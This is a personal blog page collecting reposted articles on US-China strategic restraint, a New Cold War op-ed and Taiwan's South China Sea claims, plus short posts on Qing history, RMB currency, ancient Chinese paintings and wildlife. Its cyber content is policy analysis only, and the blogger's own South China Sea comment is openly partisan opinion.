China and the United States are in the vanguard of these technologi-cal and economic trends. The dominance and declining cost of strategic offense and the resulting investment of both China and the United States in offensive capabilities compound their mutual vulnerability. Yet attempt-ing to limit and reduce such capabilities through negotiated disarmament would not be fruitful. China will not negotiate away its hard-earned ability to maintain a credible retaliatory nuclear force, and antisatellite and com-puter network attack capabilities do not lend themselves to meaningful or verifiable limits and reduction. With both defense and traditional arms control being so unpromising, vulnerability will have to be mitigated by mutual deterrence—better yet, by agreed and institutionalized mutual stra-tegic restraint.
Despite great differences in the circumstances, the way U.S.-Soviet nuclear peace was kept during the Cold War offers a starting point for how the United States and China can manage their growing mutual strategic vulnerabilities. A wider application of mutual deterrence to Sino-U.S. strategic relations is not without complications: although mutual nuclear deterrence is straightforward, deterring attacks on satellites and even more so on computer networks is different, conceptually and technically. How mutual deterrence and restraint apply across the domains will vary as much as the domains do.
Again, the stakes in Sino-American strategic relations are not ideo-logical or existential, as those in the U.S.-Soviet relationship were. Therefore, the danger of actual strategic strikes by either against the other is less
acute, at least in the nuclear domain. Moreover, while interdependence makes China and the United States more vulnerable, it also gives them both reasons not to harm the other's well-being and thereby their own. For
instance, China's trade and financial interests would suffer badly from the loss of U.S. satellites or critical U.S. computer networks. Thus, deterrence by threat of retaliation could be reinforced by the risks of self-inflicted harm.

Just as cooperative aspects of Sino-American relations could help mitigate strategic vulnerabilities, failure to mitigate those vulnerabilities could disturb those relations. The risks and fears of new forms of U.S. and
Chinese strategic power and of unmitigated vulnerability could make it harder for the world's two leading powers to work together. China could calculate that one or more forms of strategic offensive power could offset
U.S. conventional military advantages and thus reduce its susceptibility to coercion, defeat, and humiliation. At the same time, the United States could come to rely increasingly on strategic escalation to ensure deterrence
as China increases its military capabilities and its boldness in East Asia.
Thus, it cannot be assumed that mutual strategic restraint will happen spontaneously as conditions of mutual deterrence are met. It will come about only through Sino-American dialogue about vulnerabilities, capabilities, and intentions. It could take years before a dialogue bears fruit: even with shared awareness of the need for prudence, common assess-ments, concepts, and vocabularies will be needed before substantial accords can be reached. Meanwhile, new offensive capabilities are being developed, increasing vulnerabilities. So the process should begin now. Washington appears to have reached that conclusion. Whether Beijing has is unclear.
Issues and Analytic Approach
In sum, growing strategic vulnerabilities of the United States and China, given the dominance of offense over defense and the declining costs of attack, suggest that mutual strategic restraint is an important goal. But the path to that goal is paved with quandaries and risks. The chapters that follow will address these quandaries and risks, pointing to specific terms for mutual restraint in all three strategic domains as the book unfolds.
Because restraint in using strategic power must be reciprocal, the first hurdle is that the United States and China both must accept it. Divergent interests and competitive impulses in Sino-American relations are strong enough that whatever arrangements one side might judge to be advanta-geous, the other might suspect. If, for example, the Americans fear that China aims to dominate the western Pacific, and the Chinese fear that the United States aims to control their freedom of action in the region and their access beyond it, one or the other could be concerned that restraint at the strategic level might embolden the other to risk conflict below that level. The Americans may be hesitant to relieve Chinese fears of nuclear escalation, and the Chinese may be reluctant to relieve American fears of war in space or cyberspace.

As the established power with superior strategic offensive capabilities, the United States theoretically stands to lose more than China by excluding their use. U.S. strategic advantages give it the potential for so-called escalation dominance: the upper hand in a crisis or conflict by virtue of having less to lose from escalation than the adversary does. Weighed against this is the growing U.S. vulnerability, in absolute terms, to Chinese strategic offensive capabilities, and the prospect that escalation could cause great harm to the United States, irrespective of the harm it also causes China. This dilemma is addressed in chapter two, which examines U.S. views on China, Sino-American relations, the role of force, global security challenges, and long-term interests in East Asia.
China has a different calculus. It is presently at a disadvantage in strategic offensive power and also is increasingly vulnerable. Therefore, in theory, it stands to gain by mutual strategic restraint. Yet facing U.S. con-
ventional military superiority, the Chinese may believe that they can exploit U.S. fears of strategic hostilities in space and cyberspace. Therefore, China might want to preserve its freedom of action and give the United States reason to fear escalation. On the other hand, with the United States preoccupied with threats elsewhere (such as terrorism), and with trends in the East Asian conventional military balance starting to favor China, mutual strategic restraint could prove advantageous for China, perhaps enabling it to dominate the region or at least to settle territorial disputes on its terms. Chapter three examines how the Chinese could weigh these fac-tors in the context of Sino-U.S. and regional relations; it also examines how the views of China's politicians and military could differ, while lacking the experience and mechanisms that the United States has to reconcile those views.
Chapters four, five, and six analyze how the concept of mutual strate-gic restraint might apply in the three domains. The answers depend in part on whether mutual deterrence, which assured Soviet-U.S. nuclear peace,
can apply to space and cyberspace. On this, it is important to distinguish between nuclear deterrence, as practiced during the Cold War and since, and the deeper logic of deterrence that, although crystallized by the arrival of nuclear weapons, dealt with transcendent observations about human rationality in the face of danger. The core idea, that fear of retaliation may be the best way to avoid the use of strategic weapons when defense is futile, is not peculiar to the nuclear domain. Forms of deterrence not only apply but also are needed in space and cyberspace, given offense dominance and the declining costs of attack. Chapters four, five, and six develop these ideas in the three domains of Sino-American strategic relations.

Even if the United States cannot deny China the ability to deter a U.S. nuclear attack, it could be risky for the United States formally to accept mutual nuclear deterrence at a time when the conventional military balance in East Asia is starting to tilt in China's favor. However, the United States has little chance of getting the Chinese to accept restraint in space and cyberspace if it will not do so in the nuclear domain.
The surest way of mitigating U.S. and Chinese vulnerability in space is through mutual restraint, founded on deterrence. Yet hostilities between Chinese and U.S. conventional forces cannot be ruled out; indeed, the potential for such conflict is one of the main reasons for concern about escalation to strategic domains. The fact that satellites play an increasingly critical role in military operations, especially for U.S. forces but increas-ingly for the PLA as well, raises a serious question: is Sino-American mutual restraint in space possible if one or both sides want to retain the option of disabling satellites that support combat against their forces? What complicates this is that many satellites that support military opera-tions also perform important economic functions, leaving no sharp fire-break between the tactical and the strategic.There are even higher hurdles to the pursuit of mutual restraint in cyberspace. Attacks on networks that enable opposing military forces to perform their missions can escalate rapidly and unpredictably into full-scale cyber war, with enormous damage to the U.S., Chinese, and world economies. Yet it is unrealistic to expect military forces not to attack net-works used by the adversary to target and strike their forces. This might imply that Sino-American acceptance of restraint in cyber warfare would
apply only when the countries are at peace; but this would fail to address the fact that the most likely scenario for general cyber war is via escalation from tactical-military cyber war.
While chapter four finds that neither country is interested in using nuclear weapons for warfighting, chapters five and six find that attacking satellites and computer networks may have warfighting utility. Yet the dangers in those domains of strategic escalation and harm to both nations are clear. This tension between military-operational necessity and national-strategic risk is an analytic conundrum and potential impediment to mutual strategic restraint. It may create tension between the needs of mili-tary commanders and the fears of national leaders in both China and the United States.
If warfighting utility is the greatest obstacle to mutual strategic restraint, the greatest risk may be that removing the danger of escalation to conflict in any or all of these strategic domains could weaken deterrence and make at least East Asia "safer" for the use or threat of conventional military force, particularly by China. Of special concern is the potential for conflict over Taiwan. Even if China is unlikely to use or threaten force in East Asia, Japan and South Korea might feel that the combination of declining U.S. conventional superiority and mutual strategic restraint could shift the region's power-political balance toward China. This could disturb the equilibrium that the United States has sought for a century to preserve in this vital region. Chapter seven assesses the risks of conflict and instability resulting from strategic decoupling, how to mitigate such risks, and how to weigh them against the benefits of mutual strategic restraint.
Chapter seven also integrates the three strategic domains. China may see much to gain by locking the United States into mutual nuclear deter-rence and no first use. But Chinese military commanders may believe that
locking themselves into similar restraint in space and cyberspace is unwise. U.S. leaders may take the opposite view. Consequently, from a U.S. vantage point, it is advisable to link these domains as part of a general understand-ing on mutual strategic restraint.
Finally, chapters seven and eight suggest practical steps that the United States and China can take to converge on the goal of mutual strate-gic restraint, build confidence that each is committed to that goal, and avoid miscalculation. Chapter eight also examines what could happen if China and the United States do not adopt mutual strategic restraint, as well as whether such restraint would hold up if technology makes strategic defense more promising. It concludes by suggesting questions in need of further study.
It could take years before the world's two strongest powers, each with its own experience and outlook, are both ready to seize the advantages, adopt the terms, and manage the risks associated with strategic restraint. This book is not meant to be the final word on this idea. Rather, it is intended to inform a journey that the United States and China must take together because of their common interests and despite their differences.

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Read More And Full>>>http://www.ndu.edu/inss/docUploaded/Paradox%20of%20Power.pdf

Biggest Weta Insect In Zealand And More Megafauna

2011-12-06T21:49:00.001+08:00

http://www.dailymail.co.uk

A nature-lover has revealed how he spent two days tracking down a giant insect on a remote New Zealand island – and got it to eat a carrot out of his hand.

Mark Moffett's find is the world's biggest insect in terms of weight, which at 71g is heavier than a sparrow and three times that of a mouse.

The renowned 53-year-old scientist discovered the giant weta up a tree and his real life Bug's Bunny has now been declared the largest ever found.

Big appetite: A renowned scientist from America found the heaviest ever recorded giant weta on New Zealand's Little Barrier Island and fed her this carrot out of his hand .

Various species: There are over 70 types of Weta species in New Zealand but the giant weta has been named the biggest insect in the world because of its weight .

The giants of the species were wiped off the mainland by rats accidentally introduced by Europeans.

After Mark found the female weta he fed it the carrot before putting it back where he found her.

Mark, 53, said: 'Three of us walked the trails of this small island for two nights scanning the vegetation for a giant weta.

'We spent many hours with no luck finding any at all, before we saw her up in a tree.

'The giant weta is the largest insect in the world, and this is the biggest one ever found, she weighs the equivalent to three mice.

'She enjoyed the carrot so much she seemed to ignore the fact she was resting on our hands and carried on munching away.

'She would have finished the carrot very quickly, but this is an extremely endangered species and we didn't want to risk indigestion.

'After she had chewed a little I took this picture and we put her right back where we found her.'

Mark, from Colorado, America, added: 'We bug lovers hear a lot of people who think insects are inferior in some way because of their size, so it was great to see such a big insect.

'This became all the more amazing when we realised that this was the largest insect recorded.'

More Megafauna >>> HuanQiu.com

Charismatic Megafauna – Large Animals That Appeal To People's Emotional Side – Can Be "Extremely Useful " .

The Last Emperor And Powerful Worthies Of Qing Dynasty

2011-12-05T22:41:00.001+08:00

The Last Emperor And Powerful Worthies Of Qing Dynasty

PuYi (1906-1967 ), The Last Qing Emperor ,On November 14, 1908, At The Age Of 3,Made His Emperor,Reign Title "XuanTong".

Emperor XuanTong,Regent ZaiFeng And Empress Dowager LongYu.

The Last Royals Of Qing Dynasty

Regent And Cabinet Ministers

Qing Grandees

China International Discuss

Regent ZaiFeng

The Last Emperor PuYi's Life Had Five Wives But No Children .
In 1949 , After The Founding Of The People's Republic Of China, The Last Emperor Returned To His Home Where For Ten Years He Was Educated .

America's New Cold War With China

2011-11-21T11:45:00.001+08:00

http://www.huffingtonpost.com/tom-hayden/america-china-foreign-policy_b_1100748.html

America's New Cold War With China

Tom Hayden

Posted: 11/18/11 12:18 AM ET

By declaring that he will dispatch 2,500 Marines to Australia, President Obama has crossed a line, beginning a new Cold War with China, one based on military encirclement on sea and land, costing unknown trillions in defense dollars, and shoring up cheap labor markets in a free trade zone excluding China. An increased emphasis on China's systemic human rights violations will provide a liberal rationale for the new global competition.

Just as some might wonder what the North Atlantic Treaty Organization is doing in Afghanistan, one might wonder what the United States Navy is doing in the China Sea. Call it imperialism, globalization or great power politics; the new strategy is a replica of the eighty-year Cold War against the Soviet Union. That conflict resulted in the implosion of the Soviet Union and much rhetoric about America becoming the "sole superpower," but has done little to advance the US wars in Iraq, Afghanistan, and Pakistan; end the American isolation in Latin America; or prevent the rise of China as the emerging economic power. Along the way, millions of people died, were wounded or displaced in a series of hot wars with the Cold War as backdrop and rationale. By analogy, the new Cold War is based on the historic Soviet model of squeezing China's budget through military encirclement, while hoping for internal uprisings by Chinese workers and intellectuals against austerity and repression.

The new Cold War may be intended to be more economic, political and diplomatic than military. But bloody wars might erupt between North and South Korea, China and Taiwan, or through proxy wars involving Pakistan and India. The US network of emerging military alliances could obligate the US to enter such conflicts.

America's leading foreign policy guru, Henry Kissinger, who has visited China more than seventy times, signals in his book, On China, the strategic challenge of China to the American global agenda, recommending a cautious path of coexistence with the new superpower. On the right, of course, are those with longstanding demands to "roll back" China, abetted by many seeking to impose trade sanctions. Hillary Clinton, in a November Foreign Policy article, called for a "more broadly-distributed military presence" combined with "forward-deployed diplomacy," and warned -- above all -- against a post-Iraq, post-Afghanistan domestic desire to "come home." (Ironically, "America, come home," was the cry of George McGovern's 1972 presidential campaign, which both Clintons supported.)

At precisely the moment that our country is convulsed with historic protests against grinding poverty, foreclosures and unemployment, the US foreign policy elite seems more intent on occupying military bases abroad than answering Occupy Wall Street at home.

Viewed historically, this is a classic example of choosing the path of overseas expansion -- the "Open Door" foreign policy described by William Appleman Williams in The Tragedy of American Diplomacy -- to channel attention and resources away from solving problems at home.

Obama's new Cold War approach includes an emphasis on continued bilateral cooperation with China while adopting a more aggressive and confrontational policy. Obama asserts that the United States is a "Pacific nation," which intends to play "a larger and long-term role in shaping this region and its future."

Could anyone imagine the Chinese government sending carriers and submarines to the California coast and announcing their intention to play a larger long-term role in shaping the western coasts of the Americas?

Instead of denouncing "coming home" as a new "isolationism", the question should be whether America is being committed to an over-extension of resources that should be invested in jobs at home.

If Obama rules out any defense cutbacks in the Asian Pacific region, where will the funding for our cities come from? If China chooses to respond aggressively, for example over Taiwan, will the US respond in kind, or be forced into backing down? Why should the US emphasize hard power against a nation that cannot be defeated militarily? Why not a nonviolent "soft power" strategy, through a relentless defense of human rights, civil liberties, Internet access and the elimination of sweatshop labor conditions based on collusion between Chinese authorities and global Western corporations? Why not a primary emphasis on nonviolent cooperation with China on energy efficiency and green jobs?

In Machiavellian terms, is the new American deployment a cover for the pending withdrawal of American combat forces in Iraq and Afghanistan, or the real rationale for the Long War?

The neo-conservative thinker Robert Kaplan writes,

"stabilizing Afghanistan is about much more than just the anti-terrorist war against al-Qaeda and the Taliban; it is about securing the future prosperity of the whole of southern Eurasia, as well as easing India and Pakistan towards peaceful coexistence through the sharing of energy resources." (Kaplan, Robert. Monsoon: The Indian Ocean and the Future of American Power, 2010, p. 14)

That expansionist goal of Afghan policy has never been officially articulated.

As Kaplan notes, US navy ships already have bombed Iraq and Afghanistan from the Indian Ocean, while the Air Force tries to secure Iraq and Afghanistan from bases in the Persian Gulf and the Indian Ocean. "Any American strike against Iran -- and its aftershocks regarding the flow of oil -- will have an Indian Ocean address," he adds.

The US Marines "Vision and Strategy" paper (June 2008) predicts that the Indian Ocean will be a central theater of conflict and competition in next decade, while the 2007 US naval strategy called for a "sustained forward presence" in the same region.

"Herein lies the entire arc of Islam, from the eastern fringe of the Sahara Desert to the Indonesia archipelago," Kaplan goes on, the epicenter of al-Qaeda, terrorism and anarchy. Here lie, he says, are the principle oil shipping lanes and "choke points of world commerce." "Forty percent of seaborne crude oil passes through the Strait of Hormuz at one end of the ocean, and 50 percent of the world's merchant fleet capacity is hosted at the Strait of Malacca." He concludes, "The Indian Ocean rimland from the Middle East to the Pacific accounts for 70 percent of the traffic of petroleum products for the entire world."(Kaplan, p. 7)

Without public debate, without Congressional consent, without any cost projections, Americans are being herded into the dawn of a new era.

Scary Of Step By Step

2011-11-20T21:48:00.001+08:00

BuBuJingXin

Travelling Through 400 Years Of History , Discover The Extraordinary Events And People Who Have Shaped The "JiuLongDuoDi" In Qing Dynasty.

Each Step Escape

Theme Music - YiNianZhiZhuo

I Like BuBuJingXin's Freeze-Frame Very Characteristics At The End Of Each Episode,Words In Picture Is Also Very Meaningful.

Click View Large Image

Never Lose its Bright Over All The Memory Of History .

Video Trailer

Nine Princes For The Throne

Theme Music - DiaoKeAiQing

As She Traverses History , She Sees Stroy Progress And Lose Herself.

Movie Clips

Click View Large Image

I Like BuBuJingXin's Freeze-Frame Very Characteristics At The End Of Each Episode,Words In Picture Is Also Very Meaningful.

Theme Music - SanCunTianTang

Fifty Years After Qing Emperor KangXi Was Crowned, The Country Appears To Be In Harmony . However, Fights Between His 9 Sons Escalate.

RMB Shows

2011-11-12T23:24:00.001+08:00

RMB Show

RMB Refers To Notes And Coins Issued By The PBC In Accordance With Relevant Laws And Regulations.

The First Series Of RMB

The First Series Of RMB From December 1, 1948 Distributed, To May 10, 1955 Stopped Circulation.

The Second Series Of RMB

The Second Series Of RMB 1953 Printed Complete, March 1, 1955 Issue Published, Circulation Time About 10 Years.
In General , However , The Second And Third Series The Price Of The RMB Remains Relatively Stable .

The Third Series Of RMB

The Third Series Of RMB From April 1962 To Begin Formal Release , Gradually From People In The Life Out Of Circulation Until 2000,In The Market For 38 Years.
As A Matter Of Fact , The Third Edition Of RMB Was Out Of Circulation From The Currency-Market .

The Fourth Series Of RMB

The Fourth Series Of RMB Distributed From April 27, 1987 One After Another.

The Fifth Series Of RMB

The Fifth Series Of RMB Since October 1,1999 ,When The PRC 50th Years Anniversary Issue.
The Fifth Series Of RMB Notes Do Not A Positive Principal King Of All Coupons Are MaoZeDong's Head , Using Hand- Carved Intaglio Printing Process , Vivid , Expressive , Concave-Convex Strong , Easy To Identify .

Long Money

2000.11.28

The Design Of RMB Is A Sort Of Exceptional Graphic Design , Because It Is A Particular Style Which Is Different Form Chinese Traditional Bank Paper And Other Overseas Ones .

RMB And Scenery

The Design Of RMB's Bank Paper Has Went Through Some Stages From Original Imitation To Coming Into Being The Particularly National Style .

Pubescence

2011-11-12T00:13:00.001+08:00

Pubescence's Beauty Of The Agitation And Ignorant

Restlessness Of Adolescence , Lost Youth & Fool Rebel .

Maybe Just A Smile , Maybe Just An Eyesight , Deeply Captured Immature Heart ...

1970s PLA's Tactical HandBook

2011-09-03T23:08:00.001+08:00

China 1970s "Specialized Infantry Reconnaissance Professional Technology Teaching Material"

Even "T actics " Have Remained The S ame … It H ave S everal E xcellent O ld T urn Of C entury M anuals T hat Speak Perfectly O f D istance , P osture (B lading ), N on-T elegraphing H and P ositions E tc .

It Is Only A Limited Number Of Skills , But They All Proved Useful To US Troops In The Chosun War .

China Ancient Paintings Top 10

2011-08-11T22:56:00.001+08:00

China Ancient Paintings Top 10

The Most Classical And Famous Drawings Of China .

　"FuChunShanJuTu"(AD1347-1350)Is Yuan Dynasty Renowned Painter-Calligrapher HuangGongWang Is Over 80-Year-Old Time Painting Which Draws For WuYong HeShang, It Take The ZheJiang FuChunJiang River Scenery As The Background, Is Elegantly Simple With The Ink, The Density Is Appropriate, The Appeal Abundant Changes Extremely Richly, Is HuangGongWang The Representative Works. This Picture Width 33 CM, The Length 636.9 CM, The Being Possible Be Called Broad Large-Scale Work, Is Selected Each Kind Of Edition "China Paintings Top 10". For Several Hundred Year This Picture Goes Through Many Places The Outflow Danger To Suffer The Misfortune, The Legendary Color, Divides Two Sections Finally, The Segmentum Anterius For The ZheJiang Province Museum Collection, The Segmentum Posterius Collects In The TaiBei Palace Museum.

Jin Dynasty GuKaiZhi's "LuoShenFuTu" , The Width 27.1 CM, The Length 572.8 CM.Collected In The British Museum From YuanMingYuan/Summer Palace On 1900.

Tang Dynasty YanLiBen's "BuNianTu",The Width 38.5 CM, The Length 129.6 CM.Describes The SongZanGanBu's Envoy LuDongZan Approve To Emperor TangTaiZong United By Marriage In AD641.

Tang Dynasty HanHuang's "WuNiuTu",The Width 20.8 CM, The Length 139.8 CM.

Tang Dynasty "TangGongShiNüTu",The Width 51.8 CM, The Length 148 CM.

ZhangZeDuan Creation Of The Northern Song Dynasty Genre Painting "QingMingShangHeTu" As Long As 528.7 CM, The KaiFeng City's Society Hundred Condition, The Local Conditions And Customs Public Sentiment Will Describe Incisively, The Extant BeiJing Palace Museum, Is Chinese First-Level National Treasure.

Qiu Ying "HanGongChunXiaoTu" ,The Width 30.6 CM, The Length 574.1 CM.Take The Han Dynasty Palace In Spring Morning, Described Palace Beautiful Woman's Live, Always Receives The Colleague Gentleman To Pursue Holds, Presently For The TaiPei Palace Museum "The Greatest Treasure Of Museum".

LangShiNing's "BaiJunTu",The Width 102 CM, The Length 813 CM. Presently Hides In The TaiBei Palace Museum.Though As A Missionary When Giuseppe Castiglione Came To China In 1715, He Had Been A Special Painter For The Emperors In The Qing Dynasty For 51 Years .

The Five Dynasties GuHongZhong's "HanXiZaiYeYanTu",The Width 28.7 CM, The Length 335.5 CM.

"The Night Banquet " By GuHongZhong (937 - 975) Of The Five Dynasties Period (907 - 960) Is An Example Of Another Method Of Composition .

Song Dynasty WangXiMeng's "QianLiJiangShanTu",The Width 51.5 CM, The Length 1191.5 CM.

I Am Often Excited By WangXiMeng's QianLiJiangShanTu, And This Green Scroll Takes Me Not His Skilled Techniques But His Broad Sentiment , Only Which Can Describe So Magnificent Landscape .

More>>>

http://wiudwing.blogspot.com/2008/09/china-ancient-war.html

http://wiudwing.blogspot.com/2008/09/china-ancient-weapon.html

http://wiudwing.blogspot.com/2009/05/china-ancient-armours.html

http://wiudwing.blogspot.com/2011/07/china-ancient-pop.html

How Taiwan Can Upstage China

2011-07-24T11:21:00.001+08:00

http://the-diplomat.com/2011/07/02/how-taiwan-can-upstage-china/

Taiwan's South China Sea claims are outdated. It could earn some vital regional goodwill by abandoning them.

The recent confrontations in the South China Sea between China, Vietnam and the Philippines, and the subsequent street demonstrations in Hanoi and Ho Chi Minh City are an unwelcome reminder that long simmering tensions in the waters off Southeast Asia could boil over at any time.

The past month has seen diplomats and officials in Beijing, Hanoi and Manila engage in a round of accusations, protests and denials, with even usually quiet Singapore prompted to call on China to clarify its territorial claims.

Taiwan, meanwhile, reiterated its position, emphasizing its sovereignty over the contested territory. According to a June 15 statement from the Ministry of Foreign Affairs, Taiwan noted 'that the Nansha Islands, the Shisha Islands, the Chungsha Islands and the Tungsha Islands, as well as their surrounding waters, sea beds and subsoil are all an inherent part of the territory of the Republic of China (Taiwan).' Moreover, on June 22, as reported by Channel News Asia, Minister of Foreign Affairs Timothy C.Y. Yang spoke of increasing military patrols on Taiwan-held islands.

Odd as it may seem given their history of animosity, the South China Sea territorial claims of the governments of China and Taiwan are nearly identical. Both the People's Republic of China and the Republic of China base their modern day claims on the so-called 'nine-dotted' or 'U-shaped' line visible on maps issued by the then Nanjing-based Republic of China government in 1947.

In the years since 1947, Taiwan has issued periodic statements regarding its claims. In 1993, it asserted sovereignty over the bulk of the South China Sea, including the Spratly, Pratas, and Paracel islands. In 1995, Taipei both reiterated its claim to the 'U-shaped line' and initiated construction on Itu Aba Island (Tai Ping Tao) in the Spratlys despite longstanding territorial claims to that tiny island by the Philippines and Vietnam as well as China.

The current Taiwanese position hasn't changed in any fundamental way in the years since 1947, despite both Taiwan and the region having evolved dramatically in that time.

But hewing to the nine-dotted line claim of 1947 in 2011 imposes a needless liability on modern day Taiwan. Taiwan needs good relations with its Southeast Asian neighbours. Democratic Taiwan wants to, as it should, be perceived as a responsible international actor both in Asia and globally. The excessive maritime claims embodied by the 1947 declaration, however, fly in the face of this. Taipei's continued adherence to China's maritime territorial claims is therefore inimical to Taiwan's long-term regional and international interests.

By holding to outdated and legally untenable claims, Taiwan risks alienating its ASEAN neighbours while its already deep economic ties to them continue to grow. By siding with Beijing on the excessive maritime claims inherited from 1947, an already isolated Taipei risks alienating neighbours that are increasingly wary of China, and that could potentially become more sympathetic to Taiwan.

Taiwan has now, in the choppy waters of the South China Sea, an opportunity to demonstrate its commitment to international harmony and to being a constructive force for regional stability. Taipei ought to modify its maritime territorial claims in a manner that's both more acceptable to its Southeast Asian neighbours, and in accordance with international law.

Taiwan would be wise to adopt a modified claim based on the 200 nautical mile limit as enunciated by the United Nations Convention on the Law of the Sea (UNCLOS) in its definition of exclusive economic zones. By adopting this stance, Taipei would be able to maintain a claim to a substantial portion of the South China Sea while stepping back from those territorial claims that are particularly aggressive, ambitious and intellectually offensive to its neighbours. Doing so would also bring Taipei's positions – unlike those of Beijing – into compliance with international law and the UNCLOS.

Importantly, such a modification of its maritime territorial claims would not constitute a wholesale renunciation of Taiwan's interests in the South China Sea.

Under the proposed arrangement, Taiwan's naval forces and commercial shipping interests would continue to enjoy access to, and passage through, the South China Sea. In negotiating a more reasonable position with the Vietnamese and Philippine authorities, Taiwan would have the opportunity to safeguard its oil, gas and fishing interests in the Sea. These interests would surely be better served by a harmonious South China Sea than by one fraught with confrontations, as is the case at present. Moreover, this arrangement need not entail withdrawal of Taiwanese forces from Itu Aba and other islands. Sovereignty over the islands can be negotiated between claimant states at a future date, once Taiwan steps away from its legally spurious claim to the entire sea.

Much more importantly, given Beijing's standing threat of a military response to a move towards Taiwan independence, it wouldn't constitute – and could not reasonably be construed as – constituting such a move by Taipei.

There may be some concerns that China would react militarily to such an adjustment of Taiwan's territorial claims. History, however, indicates otherwise. Just as President Lee unofficially abandoned the Taiwan's claim to mainland China in 1991, Taipei today could all-but-officially adopt a more reasonable and conciliatory policy towards the South China Sea. Surely, Beijing would engage in hysterics for some time, but these would eventually pass.

A more regionally accommodating, legally defensible and internationally acceptable de-facto position on the South China Sea could be presented by Taiwan as promoting a Chinese foreign policy more mature, more realistic and more regionally accommodating than that emanating from Beijing.

Furthermore, Taiwan's tacit adoption of a modified claim could also help to move the dialogue between China and Southeast Asia forward. Not only would it put pressure on Beijing to adopt a position more acceptable to its neighbours, but Taipei's decision to make the first move could provide Beijing with a face-saving way of backing away from its current claims.

Taiwanhas now in the South China Sea dispute an opportunity to take the high road and to upstage Beijing in the eyes and esteem of a wary Southeast Asia and an anxious world.

Taiwan's military forces are not, and will never be, the deciding factor in any large-scale confrontation over the rocks, islands and reefs of the South China Sea. Any decision by Taiwan to modify its position would therefore be largely symbolic. Still, it would send an important signal to its Southeast Asian neighbours, to the international community and to Beijing. And in international relations, signals really do matter.

Richard Pearson is a programme associate at the Maureen and Mike Mansfield Foundation in Washington. He manages China, Taiwan, Vietnam and South China Sea programmes for the foundation, including its ongoing The Law of Sea and Asian Maritime Disputes project in which Mr. Van Dyke is an active participant. This article first appeared in the Taipei Times.

*******************************************************************************

"Odd as it may seem given their history of animosity, the South China Sea territorial claims of the governments of China and Taiwan are nearly identical. " --- Why Odd? The South China Sea Was Originally A Part Of China's Territory .

1907 And 1909 Qing Dynasty General LiZhun Leads The Fleet Which Is Composed Of Three Warships, Cruising All South China Sea Islands And Deport Japanese Thief , They Had Also Discovered The Early Ming Dynasty Year The Navy Forces And ZhengHe Convoy Stay Behind Stone Stele Records .

1947 And 1958 The ROC And The PRC Published Statement The Territorial Sea About "Nine-Dotted" Or "U-Shaped" Many Times . At That Time The Whole World Countries Acknowledged That And No Objection.

1933 Map Of South China Sea

The Vietnamese Government Official(1958)

To Maldives See The Manta Rays

2011-07-07T18:51:00.001+08:00

In The Maldives Seabed Magnificent Devil Rays (Chinese Name: FúFèn) Collective Foraging Scene.

Body Huge Manta Rays Like Huge Bats In The Water Swimming , They Gather Themselves Together, Enjoy The Plankton.

200 Manta Rays Gather In The Maldives Hanifaru Bay .

3 Meters Wide FúFèn .

FúFèn Enjoy The Plankton.

One Of The World's Largest Fish .

Devil Rays Get Together To Find Foods .

FúFèn Opens Big Mouth And Tumbling Large Body .

Graceful And Efficient , 2000-Pound Mantas Swirl Hanifaru Bay In The Maldives .

It 's A Delicate Balance , Though Too Many Humans Could Drive Mantas Out Of Feeding Grounds Hanifaru Bay .

No Mechanics In Love World

2011-07-07T17:41:00.001+08:00

No Mechanics In Love World

A Two-Year-Old Chinese Girl Named ZhangFangYu But Known By The Nickname NiuNiu, Left Unattended Fell 10 Stories From Her Family's Apartment Window And Survived After Being Caught By A Woman Passing By,WuJuPing's Arm Instantaneous Is Hit By The Huge Impact Smashed To Comminuted Fracture.

WuJuPing A 31-Year-Old Mother Reached The Falling Child In Time To Break The Toddler's Fall, Preventing The Girl From Hitting The Ground At Full Force.

WuJuPing Catched Toddler Girl Moment , The Arm Equivalent To Catch A 335.4 KG/S Objects.

NiuNiu, Who Was Home Alone At The Time, Was Seen Dangling Out Of The Window Of Her Home Near HangZhou, The Provincial Capital, At Midday Saturday.

"She Clung To The Windowpane For About Two Minutes And Then Fell To The Ground," Said A Neighbor Who Witnessed The Incident.

Wu Was Strolling By The Building At The Time Of The Fall. Seeing The Child About To Plummet From The Building, She Kicked Off Her High-Heeled Shoes And Ran Underneath The Child, Stretching Her Arms To The Sky In An Effort To Catch The Toddler In Mid-Fall.

NiuNiu Fell From The Building And Hit Wu's Left Arm Before Falling Onto The Lawn.

Both Were Rushed To The Hospital. Wu Incurred Fractures In Her Left Arm, Which Will Require Surgery To Repair. NiuNiu Was Found To Be Bleeding Internally And Is Still In Critical Condition,Suffered Serious Internal Injuries But Survived The Fall Nonetheless.

Great Mother - WuJuPing

WuJuPing's L-Arm In X-Ray

WuJuPing And Her 7-Month-Old Son

NiuNiu's Parents Outside Of Operating Room

China Ancient Pop

2011-07-06T20:16:00.001+08:00

What Was The China Ancient Popular Fashion?

The Following Are Some Cultural Relics Show.

The Ming Dynasty Grave Is Buried Along With The Dead Thing,Looks Like A Wristwatch Style The Ring. （AD1368-1644）

Women Hair Net In Tang Dynasty DunHuang Fresco.（AD566-635）

Caliper Of WangMang Period, And Used With Us Almost No Difference Nearly Now.（AD7-23）

In DunHuang Grotto 17 Hole Tang Dynasty Fresco ,Tang Maidservant Decorative Pattern Handbag.Thousand Years Fashion.（AD566-635）

The Eastern Jin Dynasty Artist's Hairstyle .(AD316-420)

The Song Dynasty's Football Match And Club "QiYunShe". (AD960-1279)

Southern Song Dynasty Ball Boots (AD1127-1279)

Shoes Made Of Cowhide Surface With The Extremely Wear-Resisting: This Pair Of Southern Song Dynasty Ball Boots Made With Leather Uppers, In Sole Nail The Round Head Nails, Out, It Is Wear-Resisting, Then Coated With Tung, Make Not Leak, Can't Help Letting Person Plaint With Its Technology. Football Shoes With Nails, With The Same Now!

Ancient Taxi --- Just Record Distance Car In Han Dynasty, Have A Carriage With The Wooden Figurine, Standing Hand Holds Accouterment-Shaver Drum. Each Drive To Certain Mileage Carriage, Wooden Figurine Will Wave Drum, Ahead On The Old Fashioned-Like Drum Accouterment-Shaver, Ancient Times Called It The Drum Car.Calculates The Money According To The Kilometers.(202BC-AD220)

Tang Dynasty Fresco,The Era Of All People Inner Wear Out Worn.（AD566-635）

Sui Dynasties Curtain Hat (Used To Keep Out Dust), And The Body Not To Have The Sleeve Attire.(AD581～618)

The Sui Dynasty Suspenders Skirt . And Is Really Suspenders Skirt .(AD581～618)

This Pottery Burial Figurines Carry A Package Of Posture , Carried The Classic Style Package And Wearing The T-Shirt .(AD581～618)

The Warring States Period Crystal Cup (475BC～221BC )

More>>>http://wiudwing.blogspot.com/2009/12/cup-through-from-antiquity.html

